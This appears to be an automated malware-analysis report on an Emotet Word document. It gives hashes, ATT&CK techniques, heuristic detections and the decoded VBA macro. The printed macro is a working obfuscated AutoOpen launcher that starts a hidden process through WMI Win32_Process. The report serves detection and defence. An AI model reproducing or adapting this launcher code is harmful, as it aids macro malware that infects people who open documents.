Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7b78d8a43cc4679d…

MALICIOUS

Office (OLE)

128.5 KB Created: 2019-05-17 14:30:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 0b8d438e1489ef5eeac57570a878becb SHA-1: 4b17b9b96d662a8026f20e3339973f69c81d458a SHA-256: 7b78d8a43cc4679d957c96adc9f47f02737604f467ae0006cbbaf2c1705ffdaa
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen function, a common Emotet infection vector. The macro uses GetObject to instantiate WMI objects and then calls the Create method on Win32_Process to launch a new process. This is a known technique for downloading and executing secondary payloads. The ClamAV detection also explicitly names Emotet.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1394 bytes
SHA-256: 629b253e5d0944c4c201acf52fb897fbfcfa4b68f2958a9fc460979c3a4573c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "b344531"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "T7845551, 0, 0, MSForms, TextBox"
Attribute VB_Control = "j677_61, 1, 1, MSForms, TextBox"

Attribute VB_Name = "l_50526"
Sub _
autoopen( _
)
   N35_908 = l4244_ + (L8077086) _
+ (i089968) + u46626 _
+ (X1075_9) + 953158943 + (j4094438) _
+ z678286 + 337485637
Set k68733_6 = GetObject("WiN" + "MgMts:w" + "In32_PRocEssStArTuP")
   k53591 = w4_5_41 + (a677874) _
+ (i1711884) + Y241176 _
+ (K620_8_1) + 27149624 + (W516941_) _
+ i80825 + 205492248
k68733_6. _
ShowWindow = vbFalse - vbFalse
   m81563 = J3673182 + (I54443) _
+ (l__597) + c0_459 _
+ (a655_105) + 770110119 + (W8482811) _
+ o6_8_693 + 49724041
Set n0_4_2 = GetObject("WiN" + "MgMts:w" + "In32_PRocEss")
   o094182 = f10461 + (Q_1476) _
+ (Y55698) + M884495 _
+ (i66119_3) + 368007177 + (U06085) _
+ o1605310 + 424406660
n0_4_2.Create c25__13 + "po" + a359524 + b344531.j677_61 + b344531.T7845551 + k_051937, w_667583, k68733_6, v736540
   D87819 = H900_24 + (j7__74) _
+ (P17391) + i06260 _
+ (h756_68) + 430671684 + (L1773771) _
+ L25907 + 317743507
End Sub


Attribute VB_Name = "l98441"

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